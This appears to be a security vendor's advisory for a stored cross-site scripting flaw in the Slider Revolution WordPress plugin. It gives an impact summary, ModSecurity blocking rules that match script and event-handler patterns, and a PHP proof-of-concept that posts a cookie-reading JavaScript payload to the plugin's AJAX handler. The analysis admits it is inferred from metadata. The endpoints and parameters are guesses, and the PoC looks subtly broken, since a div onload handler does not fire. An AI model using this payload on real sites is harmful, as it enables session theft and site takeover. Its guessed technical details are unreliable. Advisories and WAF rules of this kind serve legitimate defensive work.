Published : July 20, 2026

CVE-2026-57678: Slider Revolution 7.0.0-7.0.16 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin revslider
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.0.16
Patched Version
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57678 (metadata-based): This vulnerability affects Slider Revolution plugin versions 7.0.0 through 7.0.16. It allows unauthenticated stored cross-site scripting. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates network exploitation without authentication or user interaction, with a scope change to other application contexts. The severity is high at 7.2.

Root cause: The CWE-79 classification and description indicate insufficient input sanitization and output escaping. Without source code access (Atomic Edge analysis infers from metadata), the vulnerable point likely exists in a slider creation or update endpoint that processes user-supplied content. The plugin’s slider import, template preview, or custom HTML slide features are common areas where such vulnerabilities occur. The vulnerable code likely processes parameters like ‘slide_html’, ‘custom_css’, or ‘javascript’ through an AJAX handler or REST API endpoint without proper sanitization or escaping.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to the plugin’s AJAX handler or REST API endpoint. Based on the plugin’s attack surface, likely targets include endpoints like /wp-admin/admin-ajax.php with action ‘revslider_ajax_action’ or ‘revslider_upload_custom_animate’, or the plugin’s REST API namespace /wp-json/revslider/v1/. The attacker sends a payload containing JavaScript in a parameter expected to contain HTML or configuration data. The payload persists in the WordPress database and executes in the browser of any administrator or editor who views the affected slider, such as in the Slider Revolution admin panel or front-end slider display.

Remediation: The fix requires proper input sanitization and output escaping on all user-supplied data processed by slider creation and editing functions. Atomic Edge analysis recommends that developers implement wp_kses_post() or similar sanitization functions for HTML content, use esc_attr() or esc_html() for output in attribute or HTML contexts, and validate that inputs conform to expected types (e.g., JSON vs. HTML). Input validation should occur server-side before storage, and output escaping should apply during rendering, particularly in admin panel views and front-end slider outputs.

Impact: Successful exploitation enables an unauthenticated attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of administrative cookies, forced administrator actions (e.g., creating new admin users, modifying plugin settings, injecting backdoors into other plugin content), and full site compromise. The stored nature of the XSS means the payload persists until manually cleaned, affecting every user who accesses the compromised page.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57678 (metadata-based)
# Block unauthenticated XSS via Slider Revolution AJAX handler for slider update
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261978,phase:2,deny,status:403,chain,msg:'CVE-2026-57678 via Slider Revolution AJAX',severity:'CRITICAL',tag:'CVE-2026-57678'"
  SecRule ARGS_POST:action "@streq revslider_ajax_action" "chain"
    SecRule ARGS_POST:client_action "@streq update_slider" "chain"
      SecRule ARGS_POST:sliderparams "@rx <[^>]*script" 
        "t:urlDecode,t:lowercase,chain"
        SecRule MATCHED_VAR "@rx on[a-z]+=" 
          "t:urlDecode,t:lowercase"

# Alternative rule: Block direct XSS in slider import action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261979,phase:2,deny,status:403,chain,msg:'CVE-2026-57678 via Slider Revolution AJAX import',severity:'CRITICAL',tag:'CVE-2026-57678'"
  SecRule ARGS_POST:action "@streq revslider_ajax_action" "chain"
    SecRule ARGS_POST:client_action "@streq import_slider" "chain"
      SecRule ARGS_POST:sliderparams "@rx <[^>]*script" 
        "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57678 - Slider Revolution 7.0.0-7.0.16 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change this to the target WordPress site

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: Injected JavaScript that fires on page load via an onload event in an HTML element
$payload = '<div onload=alert(document.cookie)>click</div>';

// Build POST data mimicking a slider update/import request
// We assume a vulnerable endpoint 'revslider_ajax_action' with action 'update_slider' or 'import_slider'
$post_data = array(
    'action' => 'revslider_ajax_action',
    'client_action' => 'update_slider',
    'sliderparams' => '{"title":"Malicious Slider","slide":{"1":{"layers":[{"type":"text","text":"' . $payload . '"}]}}}',
    'nonce' => '' // Vulnerability means nonce is not validated
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute and output response for debugging
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent. Check the target site for stored XSS.n";
    echo "Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School